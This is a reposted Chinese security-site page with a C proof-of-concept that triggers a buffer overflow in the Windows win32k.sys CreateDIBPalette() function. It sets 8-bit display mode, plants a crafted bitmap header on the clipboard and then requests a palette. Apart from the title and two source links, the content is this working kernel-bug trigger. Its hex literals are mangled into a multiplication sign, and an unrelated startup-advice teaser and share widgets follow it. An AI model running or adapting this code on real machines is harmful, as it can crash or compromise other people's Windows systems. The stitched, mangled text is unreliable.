Windows Win32k.sys 驱动 "CreateDIBPalette()" 缓冲区溢出
Windows win32k.sys Driver "CreateDIBPalette()" Buffer Overflow
Sources:
http://www.ragestorm.net/blogs/?p=255
http://secunia.com/advisories/40870/
DEVMODE dm = {0};
dm.dmSize = sizeof(DEVMODE);
dm.dmBitsPerPel = 8;
dm.dmPelsWidth = 800;
dm.dmPelsHeight = 600;
dm.dmFields = DM_PELSWIDTH | DM_PELSHEIGHT | DM_BITSPERPEL;
ChangeDisplaySettings(&dm, 0);
BITMAPINFOHEADER bmih = {0};
bmih.biClrUsed = 0×200;
HGLOBAL h = GlobalAlloc(GMEM_FIXED, 0×1000);
memcpy((PVOID)GlobalLock(h), &bmih, sizeof(bmih));
GlobalUnlock(h);
OpenClipboard(NULL);
SetClipboardData(CF_DIBV5, (HANDLE)h);
CloseClipboard();
OpenClipboard(NULL);
GetClipboardData(CF_PALETTE);
文章来源于lcx.cc:【漏洞】Win32k.sys "CreateDIBPalette()" 溢出
在想象当中,很多人觉得创业就是几个人凑在一起,出资源的出资源,出力的出力,拿钱的拿钱,一起为了一个共同目标而努力的这么一件事情;说到这里,有的人可能要笑了,你说的像土匪一样,根本都不是团队。老实说,作为创业资历颇深的呆子来说,自然是知道团队和团伙土匪的区别,我…
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论